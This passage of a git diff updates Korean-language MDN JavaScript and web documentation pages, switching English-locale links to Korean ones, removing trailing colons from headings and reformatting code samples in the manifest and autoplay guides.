 ## 예제
 
-### {{jsxref("Array")}}에 대해 반복:
+### {{jsxref("Array")}}에 대해 반복
 
 ```js
 let iterable = [10, 20, 30];
@@ -50,7 +50,7 @@ for (const value of iterable) {
 // 30
 ```
 
-### {{jsxref("String")}}에 대해 반복:
+### {{jsxref("String")}}에 대해 반복
 
 ```js
 let iterable = "boo";
@@ -63,7 +63,7 @@ for (let value of iterable) {
 // "o"
 ```
 
-### {{jsxref("TypedArray")}}에 대해 반복:
+### {{jsxref("TypedArray")}}에 대해 반복
 
 ```js
 let iterable = new Uint8Array([0x00, 0xff]);
@@ -75,7 +75,7 @@ for (let value of iterable) {
 // 255
 ```
 
-### {{jsxref("Map")}}에 대해 반복:
+### {{jsxref("Map")}}에 대해 반복
 
 ```js
 let iterable = new Map([["a", 1], ["b", 2], ["c", 3]]);
@@ -95,7 +95,7 @@ for (let [key, value] of iterable) {
 // 3
 ```
 
-### {{jsxref("Set")}}에 대해 반복:
+### {{jsxref("Set")}}에 대해 반복
 
 ```js
 let iterable = new Set([1, 1, 2, 2, 3, 3]);
diff --git a/files/ko/web/javascript/reference/statements/function_star_/index.md b/files/ko/web/javascript/reference/statements/function_star_/index.md
index 1185f761348b60..88e180a43c5760 100644
--- a/files/ko/web/javascript/reference/statements/function_star_/index.md
+++ b/files/ko/web/javascript/reference/statements/function_star_/index.md
@@ -29,7 +29,7 @@ generator function 은 {{jsxref("Global_Objects/GeneratorFunction", "GeneratorFu
 
 Generator는 빠져나갔다가 나중에 다시 돌아올 수 있는 함수입니다. 이때 컨텍스트(변수 값)는 출입 과정에서 저장된 상태로 남아 있습니다.
 
-Generator 함수는 호출되어도 즉시 실행되지 않고, 대신 함수를 위한 [Iterator](/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator) 객체가 반환됩니다. Iterator의 `next()` 메서드를 호출하면 Generator 함수가 실행되어 **{{jsxref("Operators/yield", "yield")}}** 문을 만날 때까지 진행하고, 해당 표현식이 명시하는 Iterator로부터의 반환값을 반환합니다. **{{jsxref("Operators/yield*", "yield*")}}** 표현식을 마주칠 경우, 다른 Generator 함수가 위임(delegate)되어 진행됩니다.
+Generator 함수는 호출되어도 즉시 실행되지 않고, 대신 함수를 위한 [Iterator](/ko/docs/Web/JavaScript/Reference/Iteration_protocols#iterator) 객체가 반환됩니다. Iterator의 `next()` 메서드를 호출하면 Generator 함수가 실행되어 **{{jsxref("Operators/yield", "yield")}}** 문을 만날 때까지 진행하고, 해당 표현식이 명시하는 Iterator로부터의 반환값을 반환합니다. **{{jsxref("Operators/yield*", "yield*")}}** 표현식을 마주칠 경우, 다른 Generator 함수가 위임(delegate)되어 진행됩니다.
 
 이후 `next()` 메서드가 호출되면 진행이 멈췄던 위치에서부터 재실행합니다. `next()` 가 반환하는 객체는 `yield`문이 반환할 값(yielded value)을 나타내는 `value` 속성과, Generator 함수 안의 모든 `yield` 문의 실행 여부를 표시하는 boolean 타입의 `done` 속성을 갖습니다. `next()` 를 인자값과 함께 호출할 경우, 진행을 멈췄던 위치의 `yield` 문을 `next()` 메서드에서 받은 인자값으로 치환하고 그 위치에서 다시 실행하게 됩니다.
 
@@ -115,7 +115,7 @@ gen.next('mayonnaise'); // mayonnaise
 
 - {{jsxref("Operators/function*", "function* expression")}}
 - {{jsxref("GeneratorFunction")}} object
-- [The Iterator protocol](/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol)
+- [The Iterator protocol](/ko/docs/Web/JavaScript/Guide/The_Iterator_protocol)
 - {{jsxref("Operators/yield", "yield")}}
 - {{jsxref("Operators/yield*", "yield*")}}
 - {{jsxref("Function")}} object
diff --git a/files/ko/web/javascript/reference/statements/if...else/index.md b/files/ko/web/javascript/reference/statements/if...else/index.md
index 2611d768c8fd0d..5cb5b27991c5a7 100644
--- a/files/ko/web/javascript/reference/statements/if...else/index.md
+++ b/files/ko/web/javascript/reference/statements/if...else/index.md
@@ -22,7 +22,7 @@ slug: Web/JavaScript/Reference/Statements/if...else
   - : 참 또는 거짓으로 평가되는 [표현식](/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators#표현식)입니다.
 - `statement1`
   - : 조건이 참으로 평가될 경우 실행되는 문입니다.
-    중첩된 if구문을 포함하여 어떤 구문이든 쓸 수 있습니다. 다중구문을 사용할 경우 ({ ... })[블럭](/en-US/docs/Web/JavaScript/Reference/Statements/block) 구문 으로 그룹화 하고 실행하지 않으려면 [빈](/en-US/docs/Web/JavaScript/Reference/Statements/Empty) 구문을 사용합니다.
+    중첩된 if구문을 포함하여 어떤 구문이든 쓸 수 있습니다. 다중구문을 사용할 경우 ({ ... })[블럭](/ko/docs/Web/JavaScript/Reference/Statements/block) 구문 으로 그룹화 하고 실행하지 않으려면 [빈](/ko/docs/Web/JavaScript/Reference/Statements/Empty) 구문을 사용합니다.
 - `statement2`
   - : 이 구문은 조건이 거짓일경우 다른 조항이 있을 때 실행되는 구문입니다. 블록 문과 if문의 중첩을 호함한 모든문이 될 수 있습니다.
 
diff --git a/files/ko/web/javascript/reference/statements/label/index.md b/files/ko/web/javascript/reference/statements/label/index.md
index c19429feab2ca0..b5e6396f9b835b 100644
--- a/files/ko/web/javascript/reference/statements/label/index.md
+++ b/files/ko/web/javascript/reference/statements/label/index.md
@@ -27,7 +27,7 @@ slug: Web/JavaScript/Reference/Statements/label
 
 자바스크립트에는 goto 구문이 없다는 것에 주의. break나 continue에서만 레이블을 사용할 수 있다.
 
-[strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode) 코드에서 "let"을 레이블 이름으로 사용할 수 없다. {{jsxref("SyntaxError")}}를 발생시킨다. (let은 허용되지 않는 식별자이다.)
+[strict mode](/ko/docs/Web/JavaScript/Reference/Strict_mode) 코드에서 "let"을 레이블 이름으로 사용할 수 없다. {{jsxref("SyntaxError")}}를 발생시킨다. (let은 허용되지 않는 식별자이다.)
 
 ## 예제
 
@@ -145,7 +145,7 @@ ECMAScript 2015에서, 레이블 붙인 함수 선언문은 [web compatibility a
 L: function F() {}
 ```
 
-[strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode) 에서는 {{jsxref("SyntaxError")}}를 발생시킨다.
+[strict mode](/ko/docs/Web/JavaScript/Reference/Strict_mode) 에서는 {{jsxref("SyntaxError")}}를 발생시킨다.
 
 ```js
 'use strict';
@@ -153,7 +153,7 @@ L: function F() {}
 // SyntaxError: functions cannot be labelled
 ```
 
-[Generator functions](/en-US/docs/Web/JavaScript/Reference/Statements/function*)는 strict code도 non-strict code에서도 레이블 붙일 수 없다.
+[Generator functions](/ko/docs/Web/JavaScript/Reference/Statements/function*)는 strict code도 non-strict code에서도 레이블 붙일 수 없다.
 
 ```js
 L: function* F() {}
diff --git a/files/ko/web/javascript/reference/statements/return/index.md b/files/ko/web/javascript/reference/statements/return/index.md
index 32c2463ce2ec31..57f3ed428bab5c 100644
--- a/files/ko/web/javascript/reference/statements/return/index.md
+++ b/files/ko/web/javascript/reference/statements/return/index.md
@@ -43,7 +43,7 @@ return x + y / 3;
 
 ### 자동 세미콜론 삽입
 
-`return` 명령문은 [자동 세미콜론 삽입(ASI)](/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion)의 영향을 받습니다. `return` 키워드와 표현식 사이에는 줄바꿈 문자가 올 수 없습니다.
+`return` 명령문은 [자동 세미콜론 삽입(ASI)](/ko/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion)의 영향을 받습니다. `return` 키워드와 표현식 사이에는 줄바꿈 문자가 올 수 없습니다.
 
 ```js
 return
diff --git a/files/ko/web/javascript/reference/statements/switch/index.md b/files/ko/web/javascript/reference/statements/switch/index.md
index f9d1e6b79369dd..69bff95197122e 100644
--- a/files/ko/web/javascript/reference/statements/switch/index.md
+++ b/files/ko/web/javascript/reference/statements/switch/index.md
@@ -5,7 +5,7 @@ slug: Web/JavaScript/Reference/Statements/switch
 
 {{jsSidebar("Statements")}}
 
-The **`switch` statement** evaluates an [expression](/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators), matching the expression's value to a `case` clause, and executes [statements](/en-US/docs/Web/JavaScript/Reference/Statements) associated with that case, as well as statements in cases that follow the matching case.
+The **`switch` statement** evaluates an [expression](/ko/docs/Web/JavaScript/Guide/Expressions_and_Operators), matching the expression's value to a `case` clause, and executes [statements](/ko/docs/Web/JavaScript/Reference/Statements) associated with that case, as well as statements in cases that follow the matching case.
 
 {{EmbedInteractiveExample("pages/js/statement-switch.html")}}
 
@@ -43,11 +43,11 @@ switch (expression) {
 
 ## 설명
 
-A switch statement first evaluates its expression. It then looks for the first `case` clause whose expression evaluates to the same value as the result of the input expression (using the [strict comparison](/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators), `===`) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)
+A switch statement first evaluates its expression. It then looks for the first `case` clause whose expression evaluates to the same value as the result of the input expression (using the [strict comparison](/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators), `===`) and transfers control to that clause, executing the associated statements. (If multiple cases match the provided value, the first case that matches is selected, even if the cases are not equal to each other.)
 
 If no matching `case` clause is found, the program looks for the optional `default` clause, and if found, transfers control to that clause, executing the associated statements. If no `default` clause is found, the program continues execution at the statement following the end of `switch`. By convention, the `default` clause is the last clause, but it does not need to be so.
 
-The optional [`break`](/en-US/docs/Web/JavaScript/Reference/Statements/break) statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If `break` is omitted, the program continues execution at the next statement in the `switch` statement.
+The optional [`break`](/ko/docs/Web/JavaScript/Reference/Statements/break) statement associated with each case label ensures that the program breaks out of switch once the matched statement is executed and continues execution at the statement following switch. If `break` is omitted, the program continues execution at the next statement in the `switch` statement.
 
 ## 예제
 
@@ -195,7 +195,7 @@ switch (foo) {
 
 ### Block-scope variables within `switch` statements
 
-With ECMAScript 2015 (ES6) support made available in most modern browsers, there will be cases where you would want to use [let](/en-US/docs/Web/JavaScript/Reference/Statements/let) and [const](/en-US/docs/Web/JavaScript/Reference/Statements/const) statements to declare block-scoped variables.
+With ECMAScript 2015 (ES6) support made available in most modern browsers, there will be cases where you would want to use [let](/ko/docs/Web/JavaScript/Reference/Statements/let) and [const](/ko/docs/Web/JavaScript/Reference/Statements/const) statements to declare block-scoped variables.
 
 Take a look at this example:
 
@@ -254,4 +254,4 @@ This code will now output `hello` in the console as it should, without any error
 
 ## 같이 보기
 
-- [`if...else`](/en-US/docs/Web/JavaScript/Reference/Statements/if...else)
+- [`if...else`](/ko/docs/Web/JavaScript/Reference/Statements/if...else)
diff --git a/files/ko/web/javascript/reference/statements/try...catch/index.md b/files/ko/web/javascript/reference/statements/try...catch/index.md
index b765b7625f0ec0..b2b48bc3be4da1 100644
--- a/files/ko/web/javascript/reference/statements/try...catch/index.md
+++ b/files/ko/web/javascript/reference/statements/try...catch/index.md
@@ -45,7 +45,7 @@ try 선언의 구성은 하나 혹은 그 이상의 선언을 포함한 try 블
 
 하나 이상의 `try` 문을 중첩 할 수 있습니다. 내부의 `try` 문에 `catch` 블록이 없으면, 둘러싼 `try` 문의 `catch` 블록이 입력됩니다.
 
-또한 `try` 문을 사용하여 예외처리를 합니다. 예외처리에 대해 더 알고 싶다면, [JavaScript Guide](/en-US/docs/Web/JavaScript/Guide) 를 참고하세요.
+또한 `try` 문을 사용하여 예외처리를 합니다. 예외처리에 대해 더 알고 싶다면, [JavaScript Guide](/ko/docs/Web/JavaScript/Guide) 를 참고하세요.
 
 ### 무조건적 `catch` 문
 
diff --git a/files/ko/web/javascript/reference/statements/var/index.md b/files/ko/web/javascript/reference/statements/var/index.md
index dbe90d3c06220a..3d226638be03cf 100644
--- a/files/ko/web/javascript/reference/statements/var/index.md
+++ b/files/ko/web/javascript/reference/statements/var/index.md
@@ -66,7 +66,7 @@ slug: Web/JavaScript/Reference/Statements/var
     // 'b' 프로퍼티는 삭제되었고, 어디에도 존재하지 않습니다.
     ```
 
-이러한 세가지 다른점 때문에, 변수 선언 오류는 예기치않은 결과로 이어질 가능성이 높습니다. 그러므로 **함수 또는 전역 범위인지 여부와 상관없이, 항상 변수를 선언 하는 것을 추천합니다.** 그리고 ECMAScript 5 안에 [strict mode](/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode), 선언되지 않은 변수에 할당하면 오류를 출력합니다.
+이러한 세가지 다른점 때문에, 변수 선언 오류는 예기치않은 결과로 이어질 가능성이 높습니다. 그러므로 **함수 또는 전역 범위인지 여부와 상관없이, 항상 변수를 선언 하는 것을 추천합니다.** 그리고 ECMAScript 5 안에 [strict mode](/ko/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode), 선언되지 않은 변수에 할당하면 오류를 출력합니다.
 
 ### var 호이스팅(hoisting)
 
diff --git a/files/ko/web/javascript/reference/statements/while/index.md b/files/ko/web/javascript/reference/statements/while/index.md
index 8fa6b82b41715a..d2a7dea7804396 100644
--- a/files/ko/web/javascript/reference/statements/while/index.md
+++ b/files/ko/web/javascript/reference/statements/while/index.md
@@ -51,5 +51,5 @@ while (n < 3) {
 
 ## See also
 
-- [`do...while`](/en-US/docs/Web/JavaScript/Reference/Statements/do...while)
+- [`do...while`](/ko/docs/Web/JavaScript/Reference/Statements/do...while)
 - {{jsxref("Statements/for", "for")}}
diff --git a/files/ko/web/javascript/reference/statements/with/index.md b/files/ko/web/javascript/reference/statements/with/index.md
index 9a29b3c2bce775..f396ac407af945 100644
--- a/files/ko/web/javascript/reference/statements/with/index.md
+++ b/files/ko/web/javascript/reference/statements/with/index.md
@@ -19,13 +19,13 @@ slug: Web/JavaScript/Reference/Statements/with
 - `expression`
   - : 명령문을 평가할 때 사용되는 범위 체인에 지정된 표현식을 추가합니다. 표현식을 중괄호로 감싸는 것은 필수입니다.
 - `statement`
-  - : 모든 구문을 말합니다. 여러개의 명령문을 실행하려면 [블록](/en-US/docs/Web/JavaScript/Reference/Statements/block)명령문 ({...})을 사용하여 해당 명령문을 그룹화 하세요.
+  - : 모든 구문을 말합니다. 여러개의 명령문을 실행하려면 [블록](/ko/docs/Web/JavaScript/Reference/Statements/block)명령문 ({...})을 사용하여 해당 명령문을 그룹화 하세요.
 
 ## Description
 
 JavaScript는 규정되지 않은 이름을 포함하는 스크립트 또는 함수의 실행 컨텍스트와 연관된 범위 체인을 검색하여 규정되지 않은 이름을 찾습니다. 'with'문은 해당 개체를 평가하는 동안 이 개체를 해당 범위 체인의 머리글에 추가합니다. 본문에 사용된 규정되지 않은 이름이 범위 체인의 속성과 일치하는 경우 이름은 속성과 속성이 포함 된 개체에 바인딩 됩니다. 그렇지 않으면, {{jsxref("ReferenceError")}} 가 발생됩니다.
 
-<div class="note"><code>with</code> 를 사용하는 것은 권장하지 않으며, ECMAScript 5 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode</a>에서는 금지되어 있습니다. 임시 변수에 액세스 하려는 속성이 있는 객체를 할당하는 것이 좋습니다.</div>
+<div class="note"><code>with</code> 를 사용하는 것은 권장하지 않으며, ECMAScript 5 <a href="/ko/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode</a>에서는 금지되어 있습니다. 임시 변수에 액세스 하려는 속성이 있는 객체를 할당하는 것이 좋습니다.</div>
 
 ### Performance pro & contra
 
@@ -63,7 +63,7 @@ If you call `f([1,2,3], obj)` in an ECMAScript 5 environment, then the `values`
 
 ### Using `with`
 
-The following `with` statement specifies that the [`Math`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math) object is the default object. The statements following the `with` statement refer to the [`PI`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/PI) property and the [`cos`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/cos) and [`sin`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin) methods, without specifying an object. JavaScript assumes the `Math` object for these references.
+The following `with` statement specifies that the [`Math`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math) object is the default object. The statements following the `with` statement refer to the [`PI`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/PI) property and the [`cos`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/cos) and [`sin`](/ko/docs/Web/JavaScript/Reference/Global_Objects/Math/sin) methods, without specifying an object. JavaScript assumes the `Math` object for these references.
 
 ```js
 var a, x, y;
@@ -87,6 +87,6 @@ with (Math) {
 ## See also
 
 - {{jsxref("Statements/block", "block")}}
-- [Strict mode](/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode)
+- [Strict mode](/ko/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode)
 - {{jsxref("Symbol.unscopables")}}
 - {{jsxref("Array.@@unscopables", "Array.prototype[@@unscopables]")}}
diff --git a/files/ko/web/javascript/reference/strict_mode/index.md b/files/ko/web/javascript/reference/strict_mode/index.md
index 1250cf48328f68..9713bf683e8bac 100644
--- a/files/ko/web/javascript/reference/strict_mode/index.md
+++ b/files/ko/web/javascript/reference/strict_mode/index.md
@@ -15,7 +15,7 @@ slug: Web/JavaScript/Reference/Strict_mode
 2. JavaScript 엔진의 최적화 작업을 어렵게 만드는 실수들을 바로잡습니다. 가끔씩 엄격 모드의 코드는 비-엄격 모드의 동일한 코드보다 더 빨리 작동하도록 만들어집니다.
 3. 엄격 모드는 ECMAScript의 차기 버전들에서 정의 될 문법을 금지합니다.
 
-코드를 JavaScript의 변형이 제한된 환경에서 동작하도록 하고 싶다면, 엄격 모드로의 변환([transitioning to strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode))을 참고하세요.
+코드를 JavaScript의 변형이 제한된 환경에서 동작하도록 하고 싶다면, 엄격 모드로의 변환([transitioning to strict mode](/ko/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode))을 참고하세요.
 
 ## 엄격모드 적용하기
 
@@ -51,7 +51,7 @@ function notStrict() { return "I'm not strict."; }
 
 ### 모듈에 strict mode 적용
 
-ECMAScript 2015 는 [JavaScript 모듈](/en-US/docs/Web/JavaScript/Reference/Statements/export)을 소개했습니다. 따라서, 이는 엄격 모드를 적용할 수 있는 3번 째 방법입니다. JavaScript 모듈의 전체 컨텐츠는 엄격 모드 시작을 위한 구문 없이도 자동으로 엄격모드입니다.
+ECMAScript 2015 는 [JavaScript 모듈](/ko/docs/Web/JavaScript/Reference/Statements/export)을 소개했습니다. 따라서, 이는 엄격 모드를 적용할 수 있는 3번 째 방법입니다. JavaScript 모듈의 전체 컨텐츠는 엄격 모드 시작을 위한 구문 없이도 자동으로 엄격모드입니다.
 
 ```js
     function strict() {
@@ -370,4 +370,4 @@ function baz(){ // kosher
 - [John Resig - ECMAScript 5 Strict Mode, JSON, and More](http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/)
 - [ECMA-262-5 in detail. Chapter 2. Strict Mode.](http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/)
 - [Strict mode compatibility table](http://kangax.github.io/compat-table/es5/#Strict_mode)
-- [Transitioning to strict mode](/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode)
+- [Transitioning to strict mode](/ko/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode)
diff --git a/files/ko/web/javascript/reference/template_literals/index.md b/files/ko/web/javascript/reference/template_literals/index.md
index 2d9e842dd2ec41..1b82dd34e92687 100644
--- a/files/ko/web/javascript/reference/template_literals/index.md
+++ b/files/ko/web/javascript/reference/template_literals/index.md
@@ -159,7 +159,7 @@ t2Closure('Hello', {foo: 'World'});  // "Hello World!"
 
 ### Raw strings
 
-태그 지정된 템플릿의 첫 번째 함수 인수에서 사용할 수있는 특별한 `raw` property을 사용하면 [escape sequences](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in_strings) 처리하지 않고 원시 문자열을 입력 한대로 액세스 할 수 있습니다.
+태그 지정된 템플릿의 첫 번째 함수 인수에서 사용할 수있는 특별한 `raw` property을 사용하면 [escape sequences](/ko/docs/Web/JavaScript/Guide/Grammar_and_types#Using_special_characters_in_strings) 처리하지 않고 원시 문자열을 입력 한대로 액세스 할 수 있습니다.
 
 ```js
     function tag(strings) {
@@ -235,6 +235,6 @@ escape sequence 제한은 _tagged_ templates에만 적용되며 _untagged_ templ
 
 - {{jsxref("String")}}
 - {{jsxref("String.raw()")}}
-- [Lexical grammar](/en-US/docs/Web/JavaScript/Reference/Lexical_grammar)
+- [Lexical grammar](/ko/docs/Web/JavaScript/Reference/Lexical_grammar)
 - [Template-like strings in ES3 compatible syntax](https://gist.github.com/WebReflection/8f227532143e63649804)
 - ["ES6 in Depth: Template strings" on hacks.mozilla.org](https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/)
diff --git a/files/ko/web/javascript/reference/trailing_commas/index.md b/files/ko/web/javascript/reference/trailing_commas/index.md
index 94bb88d46f6050..a84746932ade79 100644
--- a/files/ko/web/javascript/reference/trailing_commas/index.md
+++ b/files/ko/web/javascript/reference/trailing_commas/index.md
@@ -63,7 +63,7 @@ function f(p,) {}
 (p,) => {};
 ```
 
-Trailing comma는 클래스나 객체의 [메소드 정의](/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)에도 사용할 수 있습니다.
+Trailing comma는 클래스나 객체의 [메소드 정의](/ko/docs/Web/JavaScript/Reference/Functions/Method_definitions)에도 사용할 수 있습니다.
 
 ```js
 class C {
@@ -91,7 +91,7 @@ Math.max(10, 20,);
 
 ### 잘못된 trailing comma
 
-함수의 매개변수 정의나 호출에 쉼표만 있을 경우 {{Jsxref("SyntaxError")}}가 발생합니다. 또한, [rest 매개변수](/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters)를 사용할 때는 trailing comma를 사용할 수 없습니다.
+함수의 매개변수 정의나 호출에 쉼표만 있을 경우 {{Jsxref("SyntaxError")}}가 발생합니다. 또한, [rest 매개변수](/ko/docs/Web/JavaScript/Reference/Functions/rest_parameters)를 사용할 때는 trailing comma를 사용할 수 없습니다.
 
 ```js example-bad
 function f(,) {} // SyntaxError: missing formal parameter
@@ -104,7 +104,7 @@ function f(...p,) {} // SyntaxError: parameter after rest parameter
 
 ## 구조 분해 할당에서의 trailing comma
 
-[구조 분해 할당](/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)의 좌변에도 trailing comma를 사용할 수 있습니다.
+[구조 분해 할당](/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment)의 좌변에도 trailing comma를 사용할 수 있습니다.
 
 ```js
 // Trailing comma가 있는 배열 구조 분해
diff --git a/files/ko/web/manifest/index.md b/files/ko/web/manifest/index.md
index 15eac578718601..a6f1d1b4a45a02 100644
--- a/files/ko/web/manifest/index.md
+++ b/files/ko/web/manifest/index.md
@@ -2,6 +2,7 @@
 title: Web app manifests
 slug: Web/Manifest
 ---
+
 {{QuickLinksWithSubpages("/ko/docs/Web/Manifest")}}{{SeeCompatTable}}
 
 **웹 앱 매니페스트**(Web app manifest)는 프로그레시브 웹 앱(PWA)라고 칭하는 웹 기술 모음집의 일부로서, 앱 스토어를 거치지 않고 장치의 홈 화면에 설치할 수 있는 웹사이트를 구성합니다. 단순한 홈 화면 링크/북마크를 통한 일반적인 웹 앱과 달리, PWA는 사전 다운로드를 통해 오프라인에서도 동작하며 일반적인 [Web API](/ko/docs/Web/API)도 사용할 수 있습니다.
@@ -12,7 +13,7 @@ slug: Web/Manifest
 
 웹 앱 매니페스트는 다음의 키를 포함할 수 있습니다. 각각의 링크를 클릭해 더 많은 정보를 알아보세요.
 
-{{ListSubpages("/en-US/docs/Web/Manifest")}}
+{{ListSubpages("/ko/docs/Web/Manifest")}}
 
 ## 예제
 
@@ -24,35 +25,44 @@ slug: Web/Manifest
   "display": "standalone",
   "background_color": "#fff",
   "description": "A simply readable Hacker News app.",
-  "icons": [{
-    "src": "images/touch/homescreen48.png",
-    "sizes": "48x48",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen72.png",
-    "sizes": "72x72",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen96.png",
-    "sizes": "96x96",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen144.png",
-    "sizes": "144x144",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen168.png",
-    "sizes": "168x168",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen192.png",
-    "sizes": "192x192",
-    "type": "image/png"
-  }],
-  "related_applications": [{
-    "platform": "play",
-    "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
-  }]
+  "icons": [
+    {
+      "src": "images/touch/homescreen48.png",
+      "sizes": "48x48",
+      "type": "image/png"
+    },
+    {
+      "src": "images/touch/homescreen72.png",
+      "sizes": "72x72",
+      "type": "image/png"
+    },
+    {
+      "src": "images/touch/homescreen96.png",
+      "sizes": "96x96",
+      "type": "image/png"
+    },
+    {
+      "src": "images/touch/homescreen144.png",
+      "sizes": "144x144",
+      "type": "image/png"
+    },
+    {
+      "src": "images/touch/homescreen168.png",
+      "sizes": "168x168",
+      "type": "image/png"
+    },
+    {
+      "src": "images/touch/homescreen192.png",
+      "sizes": "192x192",
+      "type": "image/png"
+    }
+  ],
+  "related_applications": [
+    {
+      "platform": "play",
+      "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
+    }
+  ]
 }
 ```
 
@@ -61,7 +71,7 @@ slug: Web/Manifest
 웹 앱 매니페스트는 HTML 페이지 {{HTMLElement("head")}} 요소 내의 {{HTMLElement("link")}} 요소를 사용해 연결합니다.
 
 ```html
-<link rel="manifest" href="/manifest.webmanifest">
+<link rel="manifest" href="/manifest.webmanifest" />
 ```
 
 > **참고:** `.webmanifest` 확장자는 명세의 [Media type registration](https://w3c.github.io/manifest/#media-type-registration) 구획에 정의(매니페스트 파일의 응답은 `Content-Type: application/manifest+json`을 반환해야 함)되어 있습니다. 브라우저는 `.json`과 같은 기타 적절한 확장자도 지원합니다. (`Content-Type: application/json`).
diff --git a/files/ko/web/media/autoplay_guide/index.md b/files/ko/web/media/autoplay_guide/index.md
index ed6a63645cd97e..3574acafbf6708 100644
--- a/files/ko/web/media/autoplay_guide/index.md
+++ b/files/ko/web/media/autoplay_guide/index.md
@@ -2,6 +2,7 @@
 title: 미디어 및 Web Audio API 자동 재생 가이드
 slug: Web/Media/Autoplay_guide
 ---
+
 페이지가 로드 되자마자 소리(또는 소리가 나는 영상)를 자동으로 재생하는 것은 사용자에게 별로 유쾌한 경험은 아닐겁니다. 미디어 자동 재생이 유용하려면 꼭 필요한 경우에 한하여 조심스럽게 쓰여야 합니다. 사용자가 이를 컨트롤 할 수 있게 여러 브라우저들은 미디어 자동 재생을 막는 기능을 제공하고 있습니다. I본 가이드 문서에서는 다양한 미디어와 Web audio API를 통한 자동 재생 기능에 대해 소개하고 자동 재생을 하는 법과 브라우저의 자동 재생 방지 기능에 깔끔하게 대처하는 법에 대해 알아봅니다.
 
 {{HTMLElement("video")}} 엘리먼트에 오디어 트랙이 없거나 음소거인 경우에는 자동 재생 방지 기능에 영향받지 않습니다. 활성화된 오디오 트랙을 가진 미디어는 **audible**로 취급하고 자동 재생 방지 기능이 동작합니다. **Inaudible** 미디어는 그렇지 않습니다.
@@ -13,7 +14,7 @@ slug: Web/Media/Autoplay_guide
 이 말은 브라우저는 아래 두 경우 모두를 자동 재생 동작으로 인지하고 자동 재생 방지 기능을 적용한다는 의미입니다:
 
 ```html
-<audio src="/music.mp4" autoplay>
+<audio src="/music.mp4" autoplay></audio>
 ```
 
 와
@@ -62,7 +63,7 @@ audioElement.play();
 
 ```html
 <audio id="musicplayer" autoplay>
-  <source src="/music/chapter1.mp4"/>
+  <source src="/music/chapter1.mp4" />
 </audio>
 ```
 
@@ -77,7 +78,7 @@ audioElement.play();
 아래 HTML 코드를 확인 해 보세요:
 
 ```html
-<video src="myvideo.mp4" autoplay onplay=handleFirstPlay(event)>
+<video src="myvideo.mp4" autoplay onplay="handleFirstPlay(event)"></video>
 ```
 
 {{HTMLElement("video")}} 엘리먼트에 {{htmlattrxref("autoplay", "video")}} 속성이 설정되어 있으며, {{domxref("HTMLMediaElement.onplay", "onplay")}} 이벤트 핸들러도 지정되어 있습니다; 이벤트는 `handleFirstPlay()` 함수로 전달되며 `play` 이벤트를 인자로 받습니다.
@@ -124,16 +125,18 @@ document.querySelector("video").play();
 let startPlayPromise = videoElem.play();
 
 if (startPlayPromise !== undefined) {
-  startPlayPromise.catch(error => {
-    if (error.name === "NotAllowedError") {
-      showPlayButton(videoElem);
-    } else {
-      // Handle a load or playback error
-    }
-  }).then(() => {
-    // Start whatever you need to do only after playback
-    // has begun.
-  });
+  startPlayPromise
+    .catch((error) => {
+      if (error.name === "NotAllowedError") {
+        showPlayButton(videoElem);
+      } else {
+        // Handle a load or playback error
+      }
+    })
+    .then(() => {
+      // Start whatever you need to do only after playback
+      // has begun.
+    });
 }
 ```
 
@@ -153,7 +156,7 @@ _상세한 내용 추가 예정; 모질라는 아직 자동 재생 방지 기능
 
 ## 자동 재생 기능 정책
 
